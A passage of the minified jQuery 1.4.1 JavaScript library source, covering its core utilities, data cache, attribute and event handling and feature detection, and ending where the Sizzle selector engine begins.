/*!
 * jQuery JavaScript Library v1.4.1
 * http://jquery.com/
 *
 * Copyright 2010, John Resig
 * Dual licensed under the MIT or GPL Version 2 licenses.
 * http://jquery.org/license
 *
 * Includes Sizzle.js
 * http://sizzlejs.com/
 * Copyright 2010, The Dojo Foundation
 * Released under the MIT, BSD, and GPL Licenses.
 *
 * Date: Mon Jan 25 19:43:33 2010 -0500
 */
(function(z,v){function la(){if(!c.isReady){try{r.documentElement.doScroll("left")}catch(a){setTimeout(la,1);return}c.ready()}}function Ma(a,b){b.src?c.ajax({url:b.src,async:false,dataType:"script"}):c.globalEval(b.text||b.textContent||b.innerHTML||"");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,i){var j=a.length;if(typeof b==="object"){for(var n in b)X(a,n,b[n],f,e,d);return a}if(d!==v){f=!i&&f&&c.isFunction(d);for(n=0;n<j;n++)e(a[n],b,f?d.call(a[n],n,e(a[n],b)):d,i);return a}return j?
e(a[0],b):null}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function ma(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function na(a){var b,d=[],f=[],e=arguments,i,j,n,o,m,s,x=c.extend({},c.data(this,"events").live);if(!(a.button&&a.type==="click")){for(o in x){j=x[o];if(j.live===a.type||j.altLive&&c.inArray(a.type,j.altLive)>-1){i=j.data;i.beforeFilter&&i.beforeFilter[a.type]&&!i.beforeFilter[a.type](a)||f.push(j.selector)}else delete x[o]}i=c(a.target).closest(f,
a.currentTarget);m=0;for(s=i.length;m<s;m++)for(o in x){j=x[o];n=i[m].elem;f=null;if(i[m].selector===j.selector){if(j.live==="mouseenter"||j.live==="mouseleave")f=c(a.relatedTarget).closest(j.selector)[0];if(!f||f!==n)d.push({elem:n,fn:j})}}m=0;for(s=d.length;m<s;m++){i=d[m];a.currentTarget=i.elem;a.data=i.fn.data;if(i.fn.apply(i.elem,e)===false){b=false;break}}return b}}function oa(a,b){return"live."+(a?a+".":"")+b.replace(/\./g,"`").replace(/ /g,"&")}function pa(a){return!a||!a.parentNode||a.parentNode.nodeType===
11}function qa(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var i in f)for(var j in f[i])c.event.add(this,i,f[i][j],f[i][j].data)}}})}function ra(a,b,d){var f,e,i;if(a.length===1&&typeof a[0]==="string"&&a[0].length<512&&a[0].indexOf("<option")<0&&(c.support.checkClone||!sa.test(a[0]))){e=true;if(i=c.fragments[a[0]])if(i!==1)f=i}if(!f){b=b&&b[0]?b[0].ownerDocument||b[0]:r;f=b.createDocumentFragment();
c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=i?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(ta.concat.apply([],ta.slice(0,b)),function(){d[this]=a});return d}function ua(a){return"scrollTo"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Na=z.jQuery,Oa=z.$,r=z.document,S,Pa=/^[^<]*(<[\w\W]+>)[^>]*$|^#([\w-]+)$/,Qa=/^.[^:#\[\.,]*$/,Ra=/\S/,Sa=/^(\s|\u00A0)+|(\s|\u00A0)+$/g,Ta=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,O=navigator.userAgent,
va=false,P=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,Q=Array.prototype.slice,wa=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(typeof a==="string")if((d=Pa.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:r;if(a=Ta.exec(a))if(c.isPlainObject(b)){a=[r.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=ra([d[1]],
[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}}else{if(b=r.getElementById(d[2])){if(b.id!==d[2])return S.find(a);this.length=1;this[0]=b}this.context=r;this.selector=a;return this}else if(!b&&/^\w+$/.test(a)){this.selector=a;this.context=r;a=r.getElementsByTagName(a)}else return!b||b.jquery?(b||S).find(a):c(b).find(a);else if(c.isFunction(a))return S.ready(a);if(a.selector!==v){this.selector=a.selector;this.context=a.context}return c.isArray(a)?this.setArray(a):c.makeArray(a,
this)},selector:"",jquery:"1.4.1",length:0,size:function(){return this.length},toArray:function(){return Q.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){a=c(a||null);a.prevObject=this;a.context=this.context;if(b==="find")a.selector=this.selector+(this.selector?" ":"")+d;else if(b)a.selector=this.selector+"."+b+"("+d+")";return a},setArray:function(a){this.length=0;ba.apply(this,a);return this},each:function(a,b){return c.each(this,
a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(r,c);else P&&P.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(Q.apply(this,arguments),"slice",Q.call(arguments).join(","))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};
c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,i,j,n;if(typeof a==="boolean"){f=a;a=arguments[1]||{};b=2}if(typeof a!=="object"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(i in e){j=a[i];n=e[i];if(a!==n)if(f&&n&&(c.isPlainObject(n)||c.isArray(n))){j=j&&(c.isPlainObject(j)||c.isArray(j))?j:c.isArray(n)?[]:{};a[i]=c.extend(f,j,n)}else if(n!==v)a[i]=n}return a};c.extend({noConflict:function(a){z.$=
Oa;if(a)z.jQuery=Na;return c},isReady:false,ready:function(){if(!c.isReady){if(!r.body)return setTimeout(c.ready,13);c.isReady=true;if(P){for(var a,b=0;a=P[b++];)a.call(r,c);P=null}c.fn.triggerHandler&&c(r).triggerHandler("ready")}},bindReady:function(){if(!va){va=true;if(r.readyState==="complete")return c.ready();if(r.addEventListener){r.addEventListener("DOMContentLoaded",L,false);z.addEventListener("load",c.ready,false)}else if(r.attachEvent){r.attachEvent("onreadystatechange",L);z.attachEvent("onload",
c.ready);var a=false;try{a=z.frameElement==null}catch(b){}r.documentElement.doScroll&&a&&la()}}},isFunction:function(a){return $.call(a)==="[object Function]"},isArray:function(a){return $.call(a)==="[object Array]"},isPlainObject:function(a){if(!a||$.call(a)!=="[object Object]"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,"constructor")&&!aa.call(a.constructor.prototype,"isPrototypeOf"))return false;var b;for(b in a);return b===v||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;
return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!=="string"||!a)return null;if(/^[\],:{}\s]*$/.test(a.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,"")))return z.JSON&&z.JSON.parse?z.JSON.parse(a):(new Function("return "+a))();else c.error("Invalid JSON: "+a)},noop:function(){},globalEval:function(a){if(a&&Ra.test(a)){var b=r.getElementsByTagName("head")[0]||
r.documentElement,d=r.createElement("script");d.type="text/javascript";if(c.support.scriptEval)d.appendChild(r.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,i=a.length,j=i===v||c.isFunction(a);if(d)if(j)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<i;){if(b.apply(a[e++],d)===false)break}else if(j)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=
a[0];e<i&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||"").replace(Sa,"")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a==="string"||c.isFunction(a)||typeof a!=="function"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length==="number")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==
v;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,i=a.length;e<i;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,i=0,j=a.length;i<j;i++){e=b(a[i],i,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof b==="string"){d=a;a=d[b];b=v}else if(b&&!c.isFunction(b)){d=b;b=v}if(!b&&a)b=function(){return a.apply(d||this,arguments)};if(a)b.guid=a.guid=a.guid||b.guid||c.guid++;return b},
uaMatch:function(a){a=a.toLowerCase();a=/(webkit)[ \/]([\w.]+)/.exec(a)||/(opera)(?:.*version)?[ \/]([\w.]+)/.exec(a)||/(msie) ([\w.]+)/.exec(a)||!/compatible/.test(a)&&/(mozilla)(?:.*? rv:([\w.]+))?/.exec(a)||[];return{browser:a[1]||"",version:a[2]||"0"}},browser:{}});O=c.uaMatch(O);if(O.browser){c.browser[O.browser]=true;c.browser.version=O.version}if(c.browser.webkit)c.browser.safari=true;if(wa)c.inArray=function(a,b){return wa.call(b,a)};S=c(r);if(r.addEventListener)L=function(){r.removeEventListener("DOMContentLoaded",
L,false);c.ready()};else if(r.attachEvent)L=function(){if(r.readyState==="complete"){r.detachEvent("onreadystatechange",L);c.ready()}};(function(){c.support={};var a=r.documentElement,b=r.createElement("script"),d=r.createElement("div"),f="script"+J();d.style.display="none";d.innerHTML="   <link/><table></table><a href='/a' style='color:red;float:left;opacity:.55;'>a</a><input type='checkbox'/>";var e=d.getElementsByTagName("*"),i=d.getElementsByTagName("a")[0];if(!(!e||!e.length||!i)){c.support=
{leadingWhitespace:d.firstChild.nodeType===3,tbody:!d.getElementsByTagName("tbody").length,htmlSerialize:!!d.getElementsByTagName("link").length,style:/red/.test(i.getAttribute("style")),hrefNormalized:i.getAttribute("href")==="/a",opacity:/^0.55$/.test(i.style.opacity),cssFloat:!!i.style.cssFloat,checkOn:d.getElementsByTagName("input")[0].value==="on",optSelected:r.createElement("select").appendChild(r.createElement("option")).selected,checkClone:false,scriptEval:false,noCloneEvent:true,boxModel:null};
b.type="text/javascript";try{b.appendChild(r.createTextNode("window."+f+"=1;"))}catch(j){}a.insertBefore(b,a.firstChild);if(z[f]){c.support.scriptEval=true;delete z[f]}a.removeChild(b);if(d.attachEvent&&d.fireEvent){d.attachEvent("onclick",function n(){c.support.noCloneEvent=false;d.detachEvent("onclick",n)});d.cloneNode(true).fireEvent("onclick")}d=r.createElement("div");d.innerHTML="<input type='radio' name='radiotest' checked='checked'/>";a=r.createDocumentFragment();a.appendChild(d.firstChild);
c.support.checkClone=a.cloneNode(true).cloneNode(true).lastChild.checked;c(function(){var n=r.createElement("div");n.style.width=n.style.paddingLeft="1px";r.body.appendChild(n);c.boxModel=c.support.boxModel=n.offsetWidth===2;r.body.removeChild(n).style.display="none"});a=function(n){var o=r.createElement("div");n="on"+n;var m=n in o;if(!m){o.setAttribute(n,"return;");m=typeof o[n]==="function"}return m};c.support.submitBubbles=a("submit");c.support.changeBubbles=a("change");a=b=d=e=i=null}})();c.props=
{"for":"htmlFor","class":"className",readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing",rowspan:"rowSpan",colspan:"colSpan",tabindex:"tabIndex",usemap:"useMap",frameborder:"frameBorder"};var G="jQuery"+J(),Ua=0,xa={},Va={};c.extend({cache:{},expando:G,noData:{embed:true,object:true,applet:true},data:function(a,b,d){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var f=a[G],e=c.cache;if(!b&&!f)return null;f||(f=++Ua);if(typeof b==="object"){a[G]=f;e=e[f]=c.extend(true,
{},b)}else e=e[f]?e[f]:typeof d==="undefined"?Va:(e[f]={});if(d!==v){a[G]=f;e[b]=d}return typeof b==="string"?e[b]:e}},removeData:function(a,b){if(!(a.nodeName&&c.noData[a.nodeName.toLowerCase()])){a=a==z?xa:a;var d=a[G],f=c.cache,e=f[d];if(b){if(e){delete e[b];c.isEmptyObject(e)&&c.removeData(a)}}else{try{delete a[G]}catch(i){a.removeAttribute&&a.removeAttribute(G)}delete f[d]}}}});c.fn.extend({data:function(a,b){if(typeof a==="undefined"&&this.length)return c.data(this[0]);else if(typeof a==="object")return this.each(function(){c.data(this,
a)});var d=a.split(".");d[1]=d[1]?"."+d[1]:"";if(b===v){var f=this.triggerHandler("getData"+d[1]+"!",[d[0]]);if(f===v&&this.length)f=c.data(this[0],a);return f===v&&d[1]?this.data(d[0]):f}else return this.trigger("setData"+d[1]+"!",[d[0],b]).each(function(){c.data(this,a,b)})},removeData:function(a){return this.each(function(){c.removeData(this,a)})}});c.extend({queue:function(a,b,d){if(a){b=(b||"fx")+"queue";var f=c.data(a,b);if(!d)return f||[];if(!f||c.isArray(d))f=c.data(a,b,c.makeArray(d));else f.push(d);
return f}},dequeue:function(a,b){b=b||"fx";var d=c.queue(a,b),f=d.shift();if(f==="inprogress")f=d.shift();if(f){b==="fx"&&d.unshift("inprogress");f.call(a,function(){c.dequeue(a,b)})}}});c.fn.extend({queue:function(a,b){if(typeof a!=="string"){b=a;a="fx"}if(b===v)return c.queue(this[0],a);return this.each(function(){var d=c.queue(this,a,b);a==="fx"&&d[0]!=="inprogress"&&c.dequeue(this,a)})},dequeue:function(a){return this.each(function(){c.dequeue(this,a)})},delay:function(a,b){a=c.fx?c.fx.speeds[a]||
a:a;b=b||"fx";return this.queue(b,function(){var d=this;setTimeout(function(){c.dequeue(d,b)},a)})},clearQueue:function(a){return this.queue(a||"fx",[])}});var ya=/[\n\t]/g,ca=/\s+/,Wa=/\r/g,Xa=/href|src|style/,Ya=/(button|input)/i,Za=/(button|input|object|select|textarea)/i,$a=/^(a|area)$/i,za=/radio|checkbox/;c.fn.extend({attr:function(a,b){return X(this,a,b,true,c.attr)},removeAttr:function(a){return this.each(function(){c.attr(this,a,"");this.nodeType===1&&this.removeAttribute(a)})},addClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=
c(this);m.addClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string")for(var b=(a||"").split(ca),d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1)if(e.className)for(var i=" "+e.className+" ",j=0,n=b.length;j<n;j++){if(i.indexOf(" "+b[j]+" ")<0)e.className+=" "+b[j]}else e.className=a}return this},removeClass:function(a){if(c.isFunction(a))return this.each(function(o){var m=c(this);m.removeClass(a.call(this,o,m.attr("class")))});if(a&&typeof a==="string"||a===v)for(var b=(a||"").split(ca),
d=0,f=this.length;d<f;d++){var e=this[d];if(e.nodeType===1&&e.className)if(a){for(var i=(" "+e.className+" ").replace(ya," "),j=0,n=b.length;j<n;j++)i=i.replace(" "+b[j]+" "," ");e.className=i.substring(1,i.length-1)}else e.className=""}return this},toggleClass:function(a,b){var d=typeof a,f=typeof b==="boolean";if(c.isFunction(a))return this.each(function(e){var i=c(this);i.toggleClass(a.call(this,e,i.attr("class"),b),b)});return this.each(function(){if(d==="string")for(var e,i=0,j=c(this),n=b,o=
a.split(ca);e=o[i++];){n=f?n:!j.hasClass(e);j[n?"addClass":"removeClass"](e)}else if(d==="undefined"||d==="boolean"){this.className&&c.data(this,"__className__",this.className);this.className=this.className||a===false?"":c.data(this,"__className__")||""}})},hasClass:function(a){a=" "+a+" ";for(var b=0,d=this.length;b<d;b++)if((" "+this[b].className+" ").replace(ya," ").indexOf(a)>-1)return true;return false},val:function(a){if(a===v){var b=this[0];if(b){if(c.nodeName(b,"option"))return(b.attributes.value||
{}).specified?b.value:b.text;if(c.nodeName(b,"select")){var d=b.selectedIndex,f=[],e=b.options;b=b.type==="select-one";if(d<0)return null;var i=b?d:0;for(d=b?d+1:e.length;i<d;i++){var j=e[i];if(j.selected){a=c(j).val();if(b)return a;f.push(a)}}return f}if(za.test(b.type)&&!c.support.checkOn)return b.getAttribute("value")===null?"on":b.value;return(b.value||"").replace(Wa,"")}return v}var n=c.isFunction(a);return this.each(function(o){var m=c(this),s=a;if(this.nodeType===1){if(n)s=a.call(this,o,m.val());
if(typeof s==="number")s+="";if(c.isArray(s)&&za.test(this.type))this.checked=c.inArray(m.val(),s)>=0;else if(c.nodeName(this,"select")){var x=c.makeArray(s);c("option",this).each(function(){this.selected=c.inArray(c(this).val(),x)>=0});if(!x.length)this.selectedIndex=-1}else this.value=s}})}});c.extend({attrFn:{val:true,css:true,html:true,text:true,data:true,width:true,height:true,offset:true},attr:function(a,b,d,f){if(!a||a.nodeType===3||a.nodeType===8)return v;if(f&&b in c.attrFn)return c(a)[b](d);
f=a.nodeType!==1||!c.isXMLDoc(a);var e=d!==v;b=f&&c.props[b]||b;if(a.nodeType===1){var i=Xa.test(b);if(b in a&&f&&!i){if(e){b==="type"&&Ya.test(a.nodeName)&&a.parentNode&&c.error("type property can't be changed");a[b]=d}if(c.nodeName(a,"form")&&a.getAttributeNode(b))return a.getAttributeNode(b).nodeValue;if(b==="tabIndex")return(b=a.getAttributeNode("tabIndex"))&&b.specified?b.value:Za.test(a.nodeName)||$a.test(a.nodeName)&&a.href?0:v;return a[b]}if(!c.support.style&&f&&b==="style"){if(e)a.style.cssText=
""+d;return a.style.cssText}e&&a.setAttribute(b,""+d);a=!c.support.hrefNormalized&&f&&i?a.getAttribute(b,2):a.getAttribute(b);return a===null?v:a}return c.style(a,b,d)}});var ab=function(a){return a.replace(/[^\w\s\.\|`]/g,function(b){return"\\"+b})};c.event={add:function(a,b,d,f){if(!(a.nodeType===3||a.nodeType===8)){if(a.setInterval&&a!==z&&!a.frameElement)a=z;if(!d.guid)d.guid=c.guid++;if(f!==v){d=c.proxy(d);d.data=f}var e=c.data(a,"events")||c.data(a,"events",{}),i=c.data(a,"handle"),j;if(!i){j=
function(){return typeof c!=="undefined"&&!c.event.triggered?c.event.handle.apply(j.elem,arguments):v};i=c.data(a,"handle",j)}if(i){i.elem=a;b=b.split(/\s+/);for(var n,o=0;n=b[o++];){var m=n.split(".");n=m.shift();if(o>1){d=c.proxy(d);if(f!==v)d.data=f}d.type=m.slice(0).sort().join(".");var s=e[n],x=this.special[n]||{};if(!s){s=e[n]={};if(!x.setup||x.setup.call(a,f,m,d)===false)if(a.addEventListener)a.addEventListener(n,i,false);else a.attachEvent&&a.attachEvent("on"+n,i)}if(x.add)if((m=x.add.call(a,
d,f,m,s))&&c.isFunction(m)){m.guid=m.guid||d.guid;m.data=m.data||d.data;m.type=m.type||d.type;d=m}s[d.guid]=d;this.global[n]=true}a=null}}},global:{},remove:function(a,b,d){if(!(a.nodeType===3||a.nodeType===8)){var f=c.data(a,"events"),e,i,j;if(f){if(b===v||typeof b==="string"&&b.charAt(0)===".")for(i in f)this.remove(a,i+(b||""));else{if(b.type){d=b.handler;b=b.type}b=b.split(/\s+/);for(var n=0;i=b[n++];){var o=i.split(".");i=o.shift();var m=!o.length,s=c.map(o.slice(0).sort(),ab);s=new RegExp("(^|\\.)"+
s.join("\\.(?:.*\\.)?")+"(\\.|$)");var x=this.special[i]||{};if(f[i]){if(d){j=f[i][d.guid];delete f[i][d.guid]}else for(var A in f[i])if(m||s.test(f[i][A].type))delete f[i][A];x.remove&&x.remove.call(a,o,j);for(e in f[i])break;if(!e){if(!x.teardown||x.teardown.call(a,o)===false)if(a.removeEventListener)a.removeEventListener(i,c.data(a,"handle"),false);else a.detachEvent&&a.detachEvent("on"+i,c.data(a,"handle"));e=null;delete f[i]}}}}for(e in f)break;if(!e){if(A=c.data(a,"handle"))A.elem=null;c.removeData(a,
"events");c.removeData(a,"handle")}}}},trigger:function(a,b,d,f){var e=a.type||a;if(!f){a=typeof a==="object"?a[G]?a:c.extend(c.Event(e),a):c.Event(e);if(e.indexOf("!")>=0){a.type=e=e.slice(0,-1);a.exclusive=true}if(!d){a.stopPropagation();this.global[e]&&c.each(c.cache,function(){this.events&&this.events[e]&&c.event.trigger(a,b,this.handle.elem)})}if(!d||d.nodeType===3||d.nodeType===8)return v;a.result=v;a.target=d;b=c.makeArray(b);b.unshift(a)}a.currentTarget=d;(f=c.data(d,"handle"))&&f.apply(d,
b);f=d.parentNode||d.ownerDocument;try{if(!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()]))if(d["on"+e]&&d["on"+e].apply(d,b)===false)a.result=false}catch(i){}if(!a.isPropagationStopped()&&f)c.event.trigger(a,b,f,true);else if(!a.isDefaultPrevented()){d=a.target;var j;if(!(c.nodeName(d,"a")&&e==="click")&&!(d&&d.nodeName&&c.noData[d.nodeName.toLowerCase()])){try{if(d[e]){if(j=d["on"+e])d["on"+e]=null;this.triggered=true;d[e]()}}catch(n){}if(j)d["on"+e]=j;this.triggered=false}}},handle:function(a){var b,
d;a=arguments[0]=c.event.fix(a||z.event);a.currentTarget=this;d=a.type.split(".");a.type=d.shift();b=!d.length&&!a.exclusive;var f=new RegExp("(^|\\.)"+d.slice(0).sort().join("\\.(?:.*\\.)?")+"(\\.|$)");d=(c.data(this,"events")||{})[a.type];for(var e in d){var i=d[e];if(b||f.test(i.type)){a.handler=i;a.data=i.data;i=i.apply(this,arguments);if(i!==v){a.result=i;if(i===false){a.preventDefault();a.stopPropagation()}}if(a.isImmediatePropagationStopped())break}}return a.result},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),
fix:function(a){if(a[G])return a;var b=a;a=c.Event(b);for(var d=this.props.length,f;d;){f=this.props[--d];a[f]=b[f]}if(!a.target)a.target=a.srcElement||r;if(a.target.nodeType===3)a.target=a.target.parentNode;if(!a.relatedTarget&&a.fromElement)a.relatedTarget=a.fromElement===a.target?a.toElement:a.fromElement;if(a.pageX==null&&a.clientX!=null){b=r.documentElement;d=r.body;a.pageX=a.clientX+(b&&b.scrollLeft||d&&d.scrollLeft||0)-(b&&b.clientLeft||d&&d.clientLeft||0);a.pageY=a.clientY+(b&&b.scrollTop||
d&&d.scrollTop||0)-(b&&b.clientTop||d&&d.clientTop||0)}if(!a.which&&(a.charCode||a.charCode===0?a.charCode:a.keyCode))a.which=a.charCode||a.keyCode;if(!a.metaKey&&a.ctrlKey)a.metaKey=a.ctrlKey;if(!a.which&&a.button!==v)a.which=a.button&1?1:a.button&2?3:a.button&4?2:0;return a},guid:1E8,proxy:c.proxy,special:{ready:{setup:c.bindReady,teardown:c.noop},live:{add:function(a,b){c.extend(a,b||{});a.guid+=b.selector+b.live;b.liveProxy=a;c.event.add(this,b.live,na,b)},remove:function(a){if(a.length){var b=
0,d=new RegExp("(^|\\.)"+a[0]+"(\\.|$)");c.each(c.data(this,"events").live||{},function(){d.test(this.type)&&b++});b<1&&c.event.remove(this,a[0],na)}},special:{}},beforeunload:{setup:function(a,b,d){if(this.setInterval)this.onbeforeunload=d;return false},teardown:function(a,b){if(this.onbeforeunload===b)this.onbeforeunload=null}}}};c.Event=function(a){if(!this.preventDefault)return new c.Event(a);if(a&&a.type){this.originalEvent=a;this.type=a.type}else this.type=a;this.timeStamp=J();this[G]=true};
c.Event.prototype={preventDefault:function(){this.isDefaultPrevented=Z;var a=this.originalEvent;if(a){a.preventDefault&&a.preventDefault();a.returnValue=false}},stopPropagation:function(){this.isPropagationStopped=Z;var a=this.originalEvent;if(a){a.stopPropagation&&a.stopPropagation();a.cancelBubble=true}},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=Z;this.stopPropagation()},isDefaultPrevented:Y,isPropagationStopped:Y,isImmediatePropagationStopped:Y};var Aa=function(a){for(var b=
a.relatedTarget;b&&b!==this;)try{b=b.parentNode}catch(d){break}if(b!==this){a.type=a.data;c.event.handle.apply(this,arguments)}},Ba=function(a){a.type=a.data;c.event.handle.apply(this,arguments)};c.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){c.event.special[a]={setup:function(d){c.event.add(this,b,d&&d.selector?Ba:Aa,a)},teardown:function(d){c.event.remove(this,b,d&&d.selector?Ba:Aa)}}});if(!c.support.submitBubbles)c.event.special.submit={setup:function(a,b,d){if(this.nodeName.toLowerCase()!==
"form"){c.event.add(this,"click.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="submit"||i==="image")&&c(e).closest("form").length)return ma("submit",this,arguments)});c.event.add(this,"keypress.specialSubmit."+d.guid,function(f){var e=f.target,i=e.type;if((i==="text"||i==="password")&&c(e).closest("form").length&&f.keyCode===13)return ma("submit",this,arguments)})}else return false},remove:function(a,b){c.event.remove(this,"click.specialSubmit"+(b?"."+b.guid:""));c.event.remove(this,
"keypress.specialSubmit"+(b?"."+b.guid:""))}};if(!c.support.changeBubbles){var da=/textarea|input|select/i;function Ca(a){var b=a.type,d=a.value;if(b==="radio"||b==="checkbox")d=a.checked;else if(b==="select-multiple")d=a.selectedIndex>-1?c.map(a.options,function(f){return f.selected}).join("-"):"";else if(a.nodeName.toLowerCase()==="select")d=a.selectedIndex;return d}function ea(a,b){var d=a.target,f,e;if(!(!da.test(d.nodeName)||d.readOnly)){f=c.data(d,"_change_data");e=Ca(d);if(a.type!=="focusout"||
d.type!=="radio")c.data(d,"_change_data",e);if(!(f===v||e===f))if(f!=null||e){a.type="change";return c.event.trigger(a,b,d)}}}c.event.special.change={filters:{focusout:ea,click:function(a){var b=a.target,d=b.type;if(d==="radio"||d==="checkbox"||b.nodeName.toLowerCase()==="select")return ea.call(this,a)},keydown:function(a){var b=a.target,d=b.type;if(a.keyCode===13&&b.nodeName.toLowerCase()!=="textarea"||a.keyCode===32&&(d==="checkbox"||d==="radio")||d==="select-multiple")return ea.call(this,a)},beforeactivate:function(a){a=
a.target;a.nodeName.toLowerCase()==="input"&&a.type==="radio"&&c.data(a,"_change_data",Ca(a))}},setup:function(a,b,d){for(var f in T)c.event.add(this,f+".specialChange."+d.guid,T[f]);return da.test(this.nodeName)},remove:function(a,b){for(var d in T)c.event.remove(this,d+".specialChange"+(b?"."+b.guid:""),T[d]);return da.test(this.nodeName)}};var T=c.event.special.change.filters}r.addEventListener&&c.each({focus:"focusin",blur:"focusout"},function(a,b){function d(f){f=c.event.fix(f);f.type=b;return c.event.handle.call(this,
f)}c.event.special[b]={setup:function(){this.addEventListener(a,d,true)},teardown:function(){this.removeEventListener(a,d,true)}}});c.each(["bind","one"],function(a,b){c.fn[b]=function(d,f,e){if(typeof d==="object"){for(var i in d)this[b](i,f,d[i],e);return this}if(c.isFunction(f)){e=f;f=v}var j=b==="one"?c.proxy(e,function(n){c(this).unbind(n,j);return e.apply(this,arguments)}):e;return d==="unload"&&b!=="one"?this.one(d,f,e):this.each(function(){c.event.add(this,d,j,f)})}});c.fn.extend({unbind:function(a,
b){if(typeof a==="object"&&!a.preventDefault){for(var d in a)this.unbind(d,a[d]);return this}return this.each(function(){c.event.remove(this,a,b)})},trigger:function(a,b){return this.each(function(){c.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0]){a=c.Event(a);a.preventDefault();a.stopPropagation();c.event.trigger(a,b,this[0]);return a.result}},toggle:function(a){for(var b=arguments,d=1;d<b.length;)c.proxy(a,b[d++]);return this.click(c.proxy(a,function(f){var e=(c.data(this,"lastToggle"+
a.guid)||0)%d;c.data(this,"lastToggle"+a.guid,e+1);f.preventDefault();return b[e].apply(this,arguments)||false}))},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}});c.each(["live","die"],function(a,b){c.fn[b]=function(d,f,e){var i,j=0;if(c.isFunction(f)){e=f;f=v}for(d=(d||"").split(/\s+/);(i=d[j++])!=null;){i=i==="focus"?"focusin":i==="blur"?"focusout":i==="hover"?d.push("mouseleave")&&"mouseenter":i;b==="live"?c(this.context).bind(oa(i,this.selector),{data:f,selector:this.selector,
live:i},e):c(this.context).unbind(oa(i,this.selector),e?{guid:e.guid+this.selector+i}:null)}return this}});c.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error".split(" "),function(a,b){c.fn[b]=function(d){return d?this.bind(b,d):this.trigger(b)};if(c.attrFn)c.attrFn[b]=true});z.attachEvent&&!z.addEventListener&&z.attachEvent("onunload",function(){for(var a in c.cache)if(c.cache[a].handle)try{c.event.remove(c.cache[a].handle.elem)}catch(b){}});
(function(){function a(g){for(var h="",k,l=0;g[l];l++){k=g[l];if(k.nodeType===3||k.nodeType===4)h+=k.nodeValue;else if(k.nodeType!==8)h+=a(k.childNodes)}return h}function b(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===k){y=l[t.sizset];break}if(t.nodeType===1&&!p){t.sizcache=k;t.sizset=q}if(t.nodeName.toLowerCase()===h){y=t;break}t=t[g]}l[q]=y}}}function d(g,h,k,l,q,p){q=0;for(var u=l.length;q<u;q++){var t=l[q];if(t){t=t[g];for(var y=false;t;){if(t.sizcache===
